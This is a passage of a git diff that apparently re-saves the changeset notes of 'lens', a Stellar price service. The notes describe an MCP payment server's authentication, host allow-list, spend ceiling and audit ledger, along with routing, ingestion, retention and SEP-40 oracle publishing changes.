are capped at 1 MiB and must be `application/json`, so a caller -cannot make the payment path stream an unbounded request. - -Both transports register the same tools from the same code path, and share -one spend budget and payment ledger per process, so a remote client cannot spend -past a ceiling a local one already used. State is deliberately not shared -across requests: the SDK's stateless Streamable HTTP transport is single-use — a -second request on one instance throws, because message ids from different -clients would collide — so each `POST` gets its own protocol server and -transport. - -stdio remains the default: with `MCP_TRANSPORT` unset, or set to `stdio`, the -server talks to stdin and stdout exactly as before. An unrecognised value throws -instead of quietly falling back, because a server that silently ignored the -transport it was told to serve would be hard to trust with a key. +--- +'lens': minor +--- + +The MCP server can now serve Streamable HTTP, selected with `MCP_TRANSPORT=http`. +Until then stdio was the only transport, so the server could only be used by a +client able to launch this process on the same machine — which rules out every +hosted agent, and means the agent's secret key has to be installed on each +machine that wants to pay. + +HTTP reaches the network, so it is only allowed to start authenticated. +`resolveMcpTransportConfig` (`src/mcp/config.ts`) requires a non-empty +`MCP_HTTP_AUTH_TOKEN` before anything else happens, and `runHttp()` throws again +if handed a blank one, so an unauthenticated remote server with `paid_call` in +its tool list cannot be brought up by configuration or by an embedding caller. +The example entrypoint resolves the transport before it builds a signer: a +server that cannot authenticate callers never reaches the point where it can +spend. Every request must then present `Authorization: Bearer `, compared +over SHA-256 digests with `timingSafeEqual`; a missing, malformed or wrong token +is refused with `401`, `www-authenticate: Bearer realm="lens-mcp"` and the new +`ERR_UNAUTHORIZED` code, before the body is read and before any tool runs. The +token is never echoed back into an error message or a log line. + +It binds `127.0.0.1` unless `MCP_HTTP_HOST` says otherwise, answers MCP only on +`MCP_HTTP_PATH` (default `/mcp`), rejects anything else with `404` without +revealing whether the path exists, and requires `POST` — `GET` gets `405`, which +spec-compliant clients read as "no server-initiated stream" rather than an +error. Bodies are capped at 1 MiB and must be `application/json`, so a caller +cannot make the payment path stream an unbounded request. + +Both transports register the same tools from the same code path, and share +one spend budget and payment ledger per process, so a remote client cannot spend +past a ceiling a local one already used. State is deliberately not shared +across requests: the SDK's stateless Streamable HTTP transport is single-use — a +second request on one instance throws, because message ids from different +clients would collide — so each `POST` gets its own protocol server and +transport. + +stdio remains the default: with `MCP_TRANSPORT` unset, or set to `stdio`, the +server talks to stdin and stdout exactly as before. An unrecognised value throws +instead of quietly falling back, because a server that silently ignored the +transport it was told to serve would be hard to trust with a key. diff --git a/.changeset/mcp-lens-get-price.md b/.changeset/mcp-lens-get-price.md index af49820e..180ee7d1 100644 --- a/.changeset/mcp-lens-get-price.md +++ b/.changeset/mcp-lens-get-price.md @@ -1,11 +1,11 @@ ---- -'lens': minor ---- - -Add the `lens_get_price` MCP tool, so an agent connected over MCP can ask Lens for -an aggregated price instead of only searching and paying other people's Bazaar -nodes. Assets are `CODE` or `CODE:ISSUER`, the issuer binds when both sides name -one (a same-named asset is refused with `ERR_ASSET_ISSUER_MISMATCH`, never -priced), the network defaults to the one the server runs, and the answer is -structured content carrying the price, venues, source count, confidence, the age -of the last trade and the best route. +--- +'lens': minor +--- + +Add the `lens_get_price` MCP tool, so an agent connected over MCP can ask Lens for +an aggregated price instead of only searching and paying other people's Bazaar +nodes. Assets are `CODE` or `CODE:ISSUER`, the issuer binds when both sides name +one (a same-named asset is refused with `ERR_ASSET_ISSUER_MISMATCH`, never +priced), the network defaults to the one the server runs, and the answer is +structured content carrying the price, venues, source count, confidence, the age +of the last trade and the best route. diff --git a/.changeset/mcp-paid-call-allowlist.md b/.changeset/mcp-paid-call-allowlist.md index 9977f27a..a2e92f3e 100644 --- a/.changeset/mcp-paid-call-allowlist.md +++ b/.changeset/mcp-paid-call-allowlist.md @@ -1,12 +1,12 @@ ---- -'lens': minor ---- - -Gate `paid_call` behind an operator allow-list of hosts (#404). The tool pays -whatever URL it is given, up to `MCP_MAX_PAYMENT_PRICE`, from a live key — and -an agent that reads attacker-influenced text is one sentence from being told -which URL. `paidCallAllowlist` (server config, `MCP_PAID_CALL_ALLOWED_HOSTS`) -lists origins or URL prefixes; an unlisted, non-http(s) or credential-bearing -URL is refused with `ERR_HOST_NOT_ALLOWED` naming the host, before any request -is sent, and the list cannot be widened by a tool argument. The default is -empty, which pays nobody. +--- +'lens': minor +--- + +Gate `paid_call` behind an operator allow-list of hosts (#404). The tool pays +whatever URL it is given, up to `MCP_MAX_PAYMENT_PRICE`, from a live key — and +an agent that reads attacker-influenced text is one sentence from being told +which URL. `paidCallAllowlist` (server config, `MCP_PAID_CALL_ALLOWED_HOSTS`) +lists origins or URL prefixes; an unlisted, non-http(s) or credential-bearing +URL is refused with `ERR_HOST_NOT_ALLOWED` naming the host, before any request +is sent, and the list cannot be widened by a tool argument. The default is +empty, which pays nobody. diff --git a/.changeset/mcp-payment-audit.md b/.changeset/mcp-payment-audit.md index 3508ec94..d1f0fde2 100644 --- a/.changeset/mcp-payment-audit.md +++ b/.changeset/mcp-payment-audit.md @@ -1,55 +1,55 @@ ---- -'lens': patch ---- - -Every `paid_call` now leaves a record of what it cost. A successful call used to -return the response body and nothing else: no log line, metric or persisted trace -of which URL was paid, how much, on which network, with which transaction. For a -tool that signs with a real key, the audit trail is not an enhancement — without -it there is no answer to "where did today's money go", and the cumulative ceiling -had no measurement of spend to read. - -`PaymentLedger` (`src/mcp/ledger.ts`) writes one JSON line per attempt to -`MCP_PAYMENT_LEDGER_FILE` (default `~/.lens-mcp/payments.jsonl`): timestamp, full -URL, host, method, price, asset, network, transaction hash, the call's outcome, -what the ledger can vouch for about the money (`settled`, `possible` or `none`) -and the error code if the call failed. A failed call is recorded too, because a -payment can settle on a call that then errors — `outcome` and `spend` are separate -fields so "the call failed" never implies "nothing left the account". - -The price is not on the `Response` the x402 client hands back; it is only visible -on the payment header the transport puts on the request. So the ledger wraps that -transport's fetch (`instrumentFetch`) and correlates the offer with the response -it produced. The settlement header is read for the transaction hash and for -whether the seller confirmed it. - -`mcp_payment_attempts_total` (labels `host`, `network`, `outcome`) and -`mcp_payment_amount_usd_total` (labels `host`, `network`) export the same spend to -Prometheus on the shared registry, which `MCP_TRANSPORT=http` now serves from the -MCP process itself at `GET /metrics` — a counter nobody can scrape is not an -export. That route answers only to the same bearer token as the tools: what an -agent bought, on which host and for how much describes a key that moves money. -`MCP_HTTP_PATH=/metrics` is refused at boot rather than resolved by precedence, so -one path never has two meanings. Under stdio there is no listener, so the running -total there is what `payment_budget` reports and what the audit file holds. - -Labels come from `MCP_METRIC_HOSTS` and `MCP_METRIC_NETWORKS` (default -`stellar:testnet,stellar:pubnet`, the networks this agent signs for): series are -permanent, so labelling by whatever URL an agent asks for would let one caller mint -unbounded time series, and anything outside an allow-list is reported as `unknown`. -The audit file always keeps the real host. Amounts that are not a USD money string -are recorded verbatim but cannot join the USD sum, so `mcp_payment_unquantified_total` -and `totalSpend().unquantifiedPayments` make that understatement visible instead of -silent. - -No secret material is recorded. Only the seller's echoed `accepted` requirements are -read out of the payment header; the signed envelope alongside it never reaches a -record, a metric or the file, and every header field is length-capped so a seller -cannot forge extra lines into the trail. - -Accounting fails closed in both directions: if the audit file cannot be created or a -record cannot be written, `paid_call` is refused with `ERR_INTERNAL_FAILURE` rather -than spending unrecorded. And `payment_budget` now reports `recordedSpend` beside the -budget's own worst-case reservations, so the ceiling has an actual measurement to -read: the budget holds the per-call maximum because it cannot see the price, while -the ledger reports the price it did see. +--- +'lens': patch +--- + +Every `paid_call` now leaves a record of what it cost. A successful call used to +return the response body and nothing else: no log line, metric or persisted trace +of which URL was paid, how much, on which network, with which transaction. For a +tool that signs with a real key, the audit trail is not an enhancement — without +it there is no answer to "where did today's money go", and the cumulative ceiling +had no measurement of spend to read. + +`PaymentLedger` (`src/mcp/ledger.ts`) writes one JSON line per attempt to +`MCP_PAYMENT_LEDGER_FILE` (default `~/.lens-mcp/payments.jsonl`): timestamp, full +URL, host, method, price, asset, network, transaction hash, the call's outcome, +what the ledger can vouch for about the money (`settled`, `possible` or `none`) +and the error code if the call failed. A failed call is recorded too, because a +payment can settle on a call that then errors — `outcome` and `spend` are separate +fields so "the call failed" never implies "nothing left the account". + +The price is not on the `Response` the x402 client hands back; it is only visible +on the payment header the transport puts on the request. So the ledger wraps that +transport's fetch (`instrumentFetch`) and correlates the offer with the response +it produced. The settlement header is read for the transaction hash and for +whether the seller confirmed it. + +`mcp_payment_attempts_total` (labels `host`, `network`, `outcome`) and +`mcp_payment_amount_usd_total` (labels `host`, `network`) export the same spend to +Prometheus on the shared registry, which `MCP_TRANSPORT=http` now serves from the +MCP process itself at `GET /metrics` — a counter nobody can scrape is not an +export. That route answers only to the same bearer token as the tools: what an +agent bought, on which host and for how much describes a key that moves money. +`MCP_HTTP_PATH=/metrics` is refused at boot rather than resolved by precedence, so +one path never has two meanings. Under stdio there is no listener, so the running +total there is what `payment_budget` reports and what the audit file holds. + +Labels come from `MCP_METRIC_HOSTS` and `MCP_METRIC_NETWORKS` (default +`stellar:testnet,stellar:pubnet`, the networks this agent signs for): series are +permanent, so labelling by whatever URL an agent asks for would let one caller mint +unbounded time series, and anything outside an allow-list is reported as `unknown`. +The audit file always keeps the real host. Amounts that are not a USD money string +are recorded verbatim but cannot join the USD sum, so `mcp_payment_unquantified_total` +and `totalSpend().unquantifiedPayments` make that understatement visible instead of +silent. + +No secret material is recorded. Only the seller's echoed `accepted` requirements are +read out of the payment header; the signed envelope alongside it never reaches a +record, a metric or the file, and every header field is length-capped so a seller +cannot forge extra lines into the trail. + +Accounting fails closed in both directions: if the audit file cannot be created or a +record cannot be written, `paid_call` is refused with `ERR_INTERNAL_FAILURE` rather +than spending unrecorded. And `payment_budget` now reports `recordedSpend` beside the +budget's own worst-case reservations, so the ceiling has an actual measurement to +read: the budget holds the per-call maximum because it cannot see the price, while +the ledger reports the price it did see. diff --git a/.changeset/mcp-spend-ceiling.md b/.changeset/mcp-spend-ceiling.md index 8043cb6d..ebee3c30 100644 --- a/.changeset/mcp-spend-ceiling.md +++ b/.changeset/mcp-spend-ceiling.md @@ -1,43 +1,43 @@ ---- -'lens': patch ---- - -The MCP server's spend cap is now cumulative, not just per call. `maxPrice` -bounded a single payment, so an agent in a retry loop — or one told to "try each -of these endpoints" — could pay that amount arbitrarily many times: every -payment individually inside the limit, the sum unbounded. A per-call limit -answers "how much can one mistake cost"; an operator's question is "how much can -today cost". - -`SpendBudget` (`src/mcp/budget.ts`) adds a ceiling on the total paid by -`paid_call` within one UTC day, configured with `MCP_DAILY_SPEND_CEILING` -(default `$10.00`) alongside the per-call `MCP_MAX_PAYMENT_PRICE`. The day window -was chosen over a sliding 24 hours because it answers the operator's question -directly, needs one stored number rather than one entry per payment, and rolls -over from the wall clock — so a restarted server resumes the same day's total and -resets it after 00:00 UTC. - -Before a call is made the budget reserves its worst case, the per-call maximum, -and refuses when that no longer fits what is left. It refuses with the new -`ERR_BUDGET_EXCEEDED` code carrying the spent, ceiling, remaining and reset time -in `details.budget`, so an agent can report being out of budget instead of -looking broken; the refusal happens before the payment fetch, so no money moves. -Both limits are in the `paid_call` description and the live totals are readable -without spending, through the new `payment_budget` tool. The running total -persists to `MCP_SPEND_STATE_FILE` (default `~/.lens-mcp/spend-state.json`) and is -read back at startup, because a restart does not refund what the previous process -already spent. - -Accounting is deliberately conservative: the wrapped x402 transport exposes only -a plain `Response`, so a paid call that could have settled is booked at the -per-call maximum and a rejection that proves nothing settled is not booked at all. -Recorded spend is an upper bound, which means the ceiling is reached early rather -than late — and an unreadable or unwritable state file is treated as fully spent, -not as a clean slate. - -Also fixed while wiring this up: `MCP_MAX_PAYMENT_PRICE` was passed to -`wrapFetchWithPaymentFromConfig` as `maxPrice`, which is not an option of the -x402 client config and was silently ignored — every payment was capped by the -library default of `$1` whatever the operator asked for. It is now passed as -`spendControls.maxAmountPerPayment`, so the per-call limit the budget reserves -against is the one actually enforced. +--- +'lens': patch +--- + +The MCP server's spend cap is now cumulative, not just per call. `maxPrice` +bounded a single payment, so an agent in a retry loop — or one told to "try each +of these endpoints" — could pay that amount arbitrarily many times: every +payment individually inside the limit, the sum unbounded. A per-call limit +answers "how much can one mistake cost"; an operator's question is "how much can +today cost". + +`SpendBudget` (`src/mcp/budget.ts`) adds a ceiling on the total paid by +`paid_call` within one UTC day, configured with `MCP_DAILY_SPEND_CEILING` +(default `$10.00`) alongside the per-call `MCP_MAX_PAYMENT_PRICE`. The day window +was chosen over a sliding 24 hours because it answers the operator's question +directly, needs one stored number rather than one entry per payment, and rolls +over from the wall clock — so a restarted server resumes the same day's total and +resets it after 00:00 UTC. + +Before a call is made the budget reserves its worst case, the per-call maximum, +and refuses when that no longer fits what is left. It refuses with the new +`ERR_BUDGET_EXCEEDED` code carrying the spent, ceiling, remaining and reset time +in `details.budget`, so an agent can report being out of budget instead of +looking broken; the refusal happens before the payment fetch, so no money moves. +Both limits are in the `paid_call` description and the live totals are readable +without spending, through the new `payment_budget` tool. The running total +persists to `MCP_SPEND_STATE_FILE` (default `~/.lens-mcp/spend-state.json`) and is +read back at startup, because a restart does not refund what the previous process +already spent. + +Accounting is deliberately conservative: the wrapped x402 transport exposes only +a plain `Response`, so a paid call that could have settled is booked at the +per-call maximum and a rejection that proves nothing settled is not booked at all. +Recorded spend is an upper bound, which means the ceiling is reached early rather +than late — and an unreadable or unwritable state file is treated as fully spent, +not as a clean slate. + +Also fixed while wiring this up: `MCP_MAX_PAYMENT_PRICE` was passed to +`wrapFetchWithPaymentFromConfig` as `maxPrice`, which is not an option of the +x402 client config and was silently ignored — every payment was capped by the +library default of `$1` whatever the operator asked for. It is now passed as +`spendControls.maxAmountPerPayment`, so the per-call limit the budget reserves +against is the one actually enforced. diff --git a/.changeset/multi-hop-routing.md b/.changeset/multi-hop-routing.md index a795ff83..3a927f19 100644 --- a/.changeset/multi-hop-routing.md +++ b/.changeset/multi-hop-routing.md @@ -1,11 +1,11 @@ ---- -'lens': minor ---- - -Multi-hop routing through configurable intermediate assets bounded in depth. - -- Evaluates multi-hop routes (up to `ROUTING_MAX_HOPS`, defaulting to 3) across configurable intermediate assets (`ROUTING_INTERMEDIATES`, defaulting to XLM and Circle USDC). -- Names each hop with its input/output assets, execution venue (`SDEX` | `AMM`), pool ID if applicable, price, spot price, and slippage percentage. -- Shows side-by-side comparison between direct routes and multi-hop paths, ensuring direct routes win when they produce higher output. -- Returns comprehensive execution provenance including sample timestamps, target network, queried venues, total sample count, and data freshness age in seconds. -- Adds test coverage verifying thin pairs where two hops beat a direct trade. +--- +'lens': minor +--- + +Multi-hop routing through configurable intermediate assets bounded in depth. + +- Evaluates multi-hop routes (up to `ROUTING_MAX_HOPS`, defaulting to 3) across configurable intermediate assets (`ROUTING_INTERMEDIATES`, defaulting to XLM and Circle USDC). +- Names each hop with its input/output assets, execution venue (`SDEX` | `AMM`), pool ID if applicable, price, spot price, and slippage percentage. +- Shows side-by-side comparison between direct routes and multi-hop paths, ensuring direct routes win when they produce higher output. +- Returns comprehensive execution provenance including sample timestamps, target network, queried venues, total sample count, and data freshness age in seconds. +- Adds test coverage verifying thin pairs where two hops beat a direct trade. diff --git a/.changeset/network-aware-webhooks.md b/.changeset/network-aware-webhooks.md index 50aa4737..7ec3fa4d 100644 --- a/.changeset/network-aware-webhooks.md +++ b/.changeset/network-aware-webhooks.md @@ -1,8 +1,8 @@ ---- -"lens": patch ---- - -Fix network-blind webhooks and price tracking across SDEX, Horizon AMM, Soroswap, and Aquarius ingesters: -- Key module-level `lastPrice` maps by `(network, pairKey)` so price ticks on one chain do not supply the previous price for another chain. -- Dispatch webhook price updates for the network the event originated from rather than falling back to the process active network. -- Allow specifying network on webhook subscription (`POST /webhooks`) with validation. +--- +"lens": patch +--- + +Fix network-blind webhooks and price tracking across SDEX, Horizon AMM, Soroswap, and Aquarius ingesters: +- Key module-level `lastPrice` maps by `(network, pairKey)` so price ticks on one chain do not supply the previous price for another chain. +- Dispatch webhook price updates for the network the event originated from rather than falling back to the process active network. +- Allow specifying network on webhook subscription (`POST /webhooks`) with validation. diff --git a/.changeset/openapi-route-coverage.md b/.changeset/openapi-route-coverage.md index 3b9563b8..486f1a95 100644 --- a/.changeset/openapi-route-coverage.md +++ b/.changeset/openapi-route-coverage.md @@ -1,11 +1,11 @@ ---- -'lens': patch ---- - -Document the full public route surface in `openapi.yaml` (params, the shared -`?network=` query, and response schemas) and add `tests/openapi.test.ts`, which -boots the app, enumerates every registered route and fails when a non-internal -route is missing from the spec. Operator-only and non-HTTP routes are excluded -through an explicit, commented allow-list in `src/openapi/coverage.ts`. The -generator is now importable and deterministic, and a test asserts the committed -`openapi.json` matches it. +--- +'lens': patch +--- + +Document the full public route surface in `openapi.yaml` (params, the shared +`?network=` query, and response schemas) and add `tests/openapi.test.ts`, which +boots the app, enumerates every registered route and fails when a non-internal +route is missing from the spec. Operator-only and non-HTTP routes are excluded +through an explicit, commented allow-list in `src/openapi/coverage.ts`. The +generator is now importable and deterministic, and a test asserts the committed +`openapi.json` matches it. diff --git a/.changeset/pairs-pools-bounded-scan.md b/.changeset/pairs-pools-bounded-scan.md index 79e947d3..661301e6 100644 --- a/.changeset/pairs-pools-bounded-scan.md +++ b/.changeset/pairs-pools-bounded-scan.md @@ -1,9 +1,9 @@ ---- -'lens': patch ---- - -`GET /pairs` and `GET /pools` no longer scan the whole history of every network -on each request. Both now filter by network (`req.network`, default the active -network) and read one index entry per pair / pool, so cost no longer grows with -table size. Response shape is unchanged. A pair or pool that has gone quiet is -still listed with its real last-update timestamp (it is never dropped). +--- +'lens': patch +--- + +`GET /pairs` and `GET /pools` no longer scan the whole history of every network +on each request. Both now filter by network (`req.network`, default the active +network) and read one index entry per pair / pool, so cost no longer grows with +table size. Response shape is unchanged. A pair or pool that has gone quiet is +still listed with its real last-update timestamp (it is never dropped). diff --git a/.changeset/phoenix-venue-adapter.md b/.changeset/phoenix-venue-adapter.md index 5d7b9307..e6501140 100644 --- a/.changeset/phoenix-venue-adapter.md +++ b/.changeset/phoenix-venue-adapter.md @@ -1,28 +1,28 @@ ---- -'lens': minor ---- - -Add Phoenix, a Soroban AMM venue, as a price source. `src/ingest/venues/phoenix.ts` -enumerates pools from Phoenix's own factory contract (`query_pools`) — never from a -list kept in this repo — reads each pool's reserves with `query_pool_info`, derives -the constant-product spot price, and writes `price_points` rows tagged -`source: 'phoenix_amm'` with the pool's contract id in `poolId`. A watched pair is -matched to a pool by deriving the Stellar Asset Contract id from its `{code, issuer}` -and the network passphrase, so two assets sharing a code but not an issuer can never -blend into one series. - -The discovered pool list is cached per network for `PHOENIX_POOL_CACHE_TTL_MS` -(default 10 minutes) with single-flight refreshing, and a refresh that fails keeps the -previous list and leaves the TTL un-advanced so the next cycle retries. The adapter is -registered in `venueAdapters`, so `ENABLED_NETWORKS` starts one independently -fault-isolated Phoenix instance per network, each writing rows stamped with its own -network. An unreachable Phoenix RPC degrades this venue to "no Phoenix price today" — -it logs and returns empty rather than throwing. - -Config: `PHOENIX_FACTORY_ADDRESS_MAINNET` defaults to Phoenix's published mainnet -factory, `CB4SVAWJA6TSRNOJZ7W2AWFW46D5VR4ZMFZKDIKXEINZCZEGZCJZCKMI`, taken verbatim -from the protocol's own repository. Phoenix publishes no testnet deployment, so testnet -has no built-in id: the venue stays disabled there until an operator sets -`PHOENIX_FACTORY_ADDRESS_TESTNET`. `PHOENIX_ENABLED_`, -`PHOENIX_POLL_INTERVAL_MS` and `PHOENIX_POOL_CACHE_TTL_MS` round out the surface, all -documented in `.env.example`. +--- +'lens': minor +--- + +Add Phoenix, a Soroban AMM venue, as a price source. `src/ingest/venues/phoenix.ts` +enumerates pools from Phoenix's own factory contract (`query_pools`) — never from a +list kept in this repo — reads each pool's reserves with `query_pool_info`, derives +the constant-product spot price, and writes `price_points` rows tagged +`source: 'phoenix_amm'` with the pool's contract id in `poolId`. A watched pair is +matched to a pool by deriving the Stellar Asset Contract id from its `{code, issuer}` +and the network passphrase, so two assets sharing a code but not an issuer can never +blend into one series. + +The discovered pool list is cached per network for `PHOENIX_POOL_CACHE_TTL_MS` +(default 10 minutes) with single-flight refreshing, and a refresh that fails keeps the +previous list and leaves the TTL un-advanced so the next cycle retries. The adapter is +registered in `venueAdapters`, so `ENABLED_NETWORKS` starts one independently +fault-isolated Phoenix instance per network, each writing rows stamped with its own +network. An unreachable Phoenix RPC degrades this venue to "no Phoenix price today" — +it logs and returns empty rather than throwing. + +Config: `PHOENIX_FACTORY_ADDRESS_MAINNET` defaults to Phoenix's published mainnet +factory, `CB4SVAWJA6TSRNOJZ7W2AWFW46D5VR4ZMFZKDIKXEINZCZEGZCJZCKMI`, taken verbatim +from the protocol's own repository. Phoenix publishes no testnet deployment, so testnet +has no built-in id: the venue stays disabled there until an operator sets +`PHOENIX_FACTORY_ADDRESS_TESTNET`. `PHOENIX_ENABLED_`, +`PHOENIX_POLL_INTERVAL_MS` and `PHOENIX_POOL_CACHE_TTL_MS` round out the surface, all +documented in `.env.example`. diff --git a/.changeset/price-point-identity.md b/.changeset/price-point-identity.md index cf79b171..5820e278 100644 --- a/.changeset/price-point-identity.md +++ b/.changeset/price-point-identity.md @@ -1,28 +1,28 @@ ---- -'lens': patch ---- - -Make duplicate price points impossible to store (#237). `price_points` had no -uniqueness on the trade identity, so an ingester retrying after a partial -failure — or two instances briefly overlapping during a deploy — wrote the same -trade again, inflating volume and skewing the volume-weighted VWAP. - -`PricePoint` now declares `@@unique([network, source, eventId])` -(index `price_point_identity`), and `upsertPricePoints` writes as an idempotent -insert (`skipDuplicates` → `ON CONFLICT DO NOTHING`), so a replayed batch is -absorbed rather than stored twice. - -Postgres treats NULLs as distinct in a unique index, so a row stored without an -event id could never be recognized as a duplicate. Writes therefore never store -a null: venues with a natural id (SDEX/AMM trade TOIDs) pass it through, -snapshot venues without one derive their key from pool STATE (AMM: pool id + -`last_modified_ledger`; Soroswap: pool address + reserves) instead of the -previous `Date.now()` ids, which minted a fresh identity per attempt. Sources -that supply no id at all (Aquarius, future venues) get a SHA-256 synthesized -deterministically from the row's content — never a clock, never random. - -`scripts/migrations/2026-10-17-price-point-identity.sql` removes rows already -duplicated on this identity (keeping the earliest per group) before creating -the index, for databases where `prisma db push` would otherwise fail. Rows -predating the change with a NULL `event_id` are left untouched; from here on no -new row can have one. +--- +'lens': patch +--- + +Make duplicate price points impossible to store (#237). `price_points` had no +uniqueness on the trade identity, so an ingester retrying after a partial +failure — or two instances briefly overlapping during a deploy — wrote the same +trade again, inflating volume and skewing the volume-weighted VWAP. + +`PricePoint` now declares `@@unique([network, source, eventId])` +(index `price_point_identity`), and `upsertPricePoints` writes as an idempotent +insert (`skipDuplicates` → `ON CONFLICT DO NOTHING`), so a replayed batch is +absorbed rather than stored twice. + +Postgres treats NULLs as distinct in a unique index, so a row stored without an +event id could never be recognized as a duplicate. Writes therefore never store +a null: venues with a natural id (SDEX/AMM trade TOIDs) pass it through, +snapshot venues without one derive their key from pool STATE (AMM: pool id + +`last_modified_ledger`; Soroswap: pool address + reserves) instead of the +previous `Date.now()` ids, which minted a fresh identity per attempt. Sources +that supply no id at all (Aquarius, future venues) get a SHA-256 synthesized +deterministically from the row's content — never a clock, never random. + +`scripts/migrations/2026-10-17-price-point-identity.sql` removes rows already +duplicated on this identity (keeping the earliest per group) before creating +the index, for databases where `prisma db push` would otherwise fail. Rows +predating the change with a NULL `event_id` are left untouched; from here on no +new row can have one. diff --git a/.changeset/price-points-retention.md b/.changeset/price-points-retention.md index 845cb193..dc0003de 100644 --- a/.changeset/price-points-retention.md +++ b/.changeset/price-points-retention.md @@ -1,10 +1,10 @@ ---- -'lens': minor ---- - -Implement a retention policy and background worker for `price_points`: -- Rolls raw `price_points` older than `PRICE_POINTS_RETENTION_DAYS` (default 30 days) into 1-hour `price_aggregates` prior to pruning, preserving historical OHLCV, VWAP, venue volume breakdowns, and trade counts with full numeric precision. -- Deletes expired raw points in bounded batches (`PRICE_POINTS_PRUNE_BATCH_SIZE`, default 1,000) using `FOR UPDATE SKIP LOCKED` and yields between batches to prevent holding prolonged database locks. -- Scopes every query by `network` to utilize indexes and prevent cross-network data contamination. -- Exports Prometheus metrics `price_points_pruned_total` and `price_points_rolled_up_total` labeled by `network`. -- Includes BullMQ scheduling and in-process hourly fallback for lifecycle resilience. +--- +'lens': minor +--- + +Implement a retention policy and background worker for `price_points`: +- Rolls raw `price_points` older than `PRICE_POINTS_RETENTION_DAYS` (default 30 days) into 1-hour `price_aggregates` prior to pruning, preserving historical OHLCV, VWAP, venue volume breakdowns, and trade counts with full numeric precision. +- Deletes expired raw points in bounded batches (`PRICE_POINTS_PRUNE_BATCH_SIZE`, default 1,000) using `FOR UPDATE SKIP LOCKED` and yields between batches to prevent holding prolonged database locks. +- Scopes every query by `network` to utilize indexes and prevent cross-network data contamination. +- Exports Prometheus metrics `price_points_pruned_total` and `price_points_rolled_up_total` labeled by `network`. +- Includes BullMQ scheduling and in-process hourly fallback for lifecycle resilience. diff --git a/.changeset/prisma-migrate-history.md b/.changeset/prisma-migrate-history.md index e60441f0..c9d14dc0 100644 --- a/.changeset/prisma-migrate-history.md +++ b/.changeset/prisma-migrate-history.md @@ -1,7 +1,7 @@ ---- -'lens': minor ---- - -Adopt Prisma migrate: commit a baseline migration (`prisma/migrations/0_init`), make CI fail on drift between `schema.prisma` and the migrations, switch app startup and deploys to `prisma migrate deploy`, and remove the `db push` path. - -Startup adopts the baseline by itself on a database that predates the migration history — it records the baseline as applied without running it, rather than colliding with tables that are already there — so the order of a merge and a redeploy cannot take the API down. Dropping `db push` also means schema drift is no longer self-healed at boot: `docs/database-migrations.md` has the one-time check to run against a live database before the first deploy. +--- +'lens': minor +--- + +Adopt Prisma migrate: commit a baseline migration (`prisma/migrations/0_init`), make CI fail on drift between `schema.prisma` and the migrations, switch app startup and deploys to `prisma migrate deploy`, and remove the `db push` path. + +Startup adopts the baseline by itself on a database that predates the migration history — it records the baseline as applied without running it, rather than colliding with tables that are already there — so the order of a merge and a redeploy cannot take the API down. Dropping `db push` also means schema drift is no longer self-healed at boot: `docs/database-migrations.md` has the one-time check to run against a live database before the first deploy. diff --git a/.changeset/prune-snapshots-every-network.md b/.changeset/prune-snapshots-every-network.md index 73cd0080..bd1c8d96 100644 --- a/.changeset/prune-snapshots-every-network.md +++ b/.changeset/prune-snapshots-every-network.md @@ -1,10 +1,10 @@ ---- -'lens': patch ---- - -Snapshot retention now prunes `price_snapshots` for every network in -`ENABLED_NETWORKS`, not just the active one, so the second network of a -dual-network process no longer grows unbounded. The startup prune, the BullMQ -worker and the in-process fallback timer all use the new `pruneAllNetworks()`, -and the pruned row count is logged per network. `pruneOldSnapshots()` gains an -optional `network` argument (defaulting to the active network). +--- +'lens': patch +--- + +Snapshot retention now prunes `price_snapshots` for every network in +`ENABLED_NETWORKS`, not just the active one, so the second network of a +dual-network process no longer grows unbounded. The startup prune, the BullMQ +worker and the in-process fallback timer all use the new `pruneAllNetworks()`, +and the pruned row count is logged per network. `pruneOldSnapshots()` gains an +optional `network` argument (defaulting to the active network). diff --git a/.changeset/screener-drop-market-cap.md b/.changeset/screener-drop-market-cap.md index 5d27f3a4..ecfaa16d 100644 --- a/.changeset/screener-drop-market-cap.md +++ b/.changeset/screener-drop-market-cap.md @@ -1,5 +1,5 @@ ---- -"lens": patch ---- - -`/screener` no longer reports `market_cap`. It was a copy of `liquidity` under another name, so sorting or filtering by market cap silently sorted or filtered liquidity. Lens has no circulating-supply data to compute a real one, so the field is removed from the response and the sort allowlist, and `?market_cap=` and `?sortBy=market_cap` now return a 400 instead of being ignored. The three CTEs behind `/screener` are also now scoped to one network (`?network=` / `x-network`, defaulting to the active network) instead of pooling testnet and mainnet rows. +--- +"lens": patch +--- + +`/screener` no longer reports `market_cap`. It was a copy of `liquidity` under another name, so sorting or filtering by market cap silently sorted or filtered liquidity. Lens has no circulating-supply data to compute a real one, so the field is removed from the response and the sort allowlist, and `?market_cap=` and `?sortBy=market_cap` now return a 400 instead of being ignored. The three CTEs behind `/screener` are also now scoped to one network (`?network=` / `x-network`, defaulting to the active network) instead of pooling testnet and mainnet rows. diff --git a/.changeset/sep40-oracle-publisher.md b/.changeset/sep40-oracle-publisher.md index a095d0bf..adae9ee6 100644 --- a/.changeset/sep40-oracle-publisher.md +++ b/.changeset/sep40-oracle-publisher.md @@ -1,45 +1,45 @@ ---- -'lens': minor ---- - -Lens publishes prices. A SEP-40 (`oracle/contract/`) oracle contract plus a -rate-limited, deviation-triggered publisher (`src/publish/`) put Lens's own -aggregate on chain so Soroban contracts can read a Lens price, with the same -staleness and venue-provenance guarantees the HTTP API makes. - -The contract implements the spec's `PriceFeedTrait` verbatim — `base`, `assets`, -`decimals`, `resolution`, `price`, `prices`, `lastprice` — returning `None` -rather than reverting on input it cannot answer, and adds one provider-side -write: `report(asset, price, timestamp, venues)`, authorized solely by the -publisher address the admin sets. It re-checks every rule a consumer is told to -rely on: the price is positive, the timestamp is trimmed to `resolution()`, is -not ahead of ledger time, and is strictly newer than the last record, and the -venue list is non-empty — `source_count` is derived from that list, never passed -in. `last_report` exposes the venues, the ledger and the close time behind the -current price. `initialize` is one-shot and `upgrade` swaps the WASM without -changing the contract address, as SEP-40 requires. - -The publisher is a loop like the venue ingesters: one per entry in -`ENABLED_NETWORKS`, each fault-isolated by `restartIngester`, each reading only -its own network's pairs and rows. Which leg of a pair it quotes and whether the -stored `price = assetB per assetA` has to be inverted are derived from the -`base()` the *deployed contract* reports — the scale and tick come from the -chain too, and the cycle aborts if they cannot be read, because there is no safe -default for a number a contract settles against. Publication then runs as -guards → triggers → write vetoes: staleness and provenance are checked before -the feed is read at all, so a stale aggregate provably never reaches RPC or -spends a fee; a write needs either a `SEP40_DEVIATION_PCT` move measured against -the price already on chain or a `SEP40_MAX_INTERVAL_MS` timer, and even then 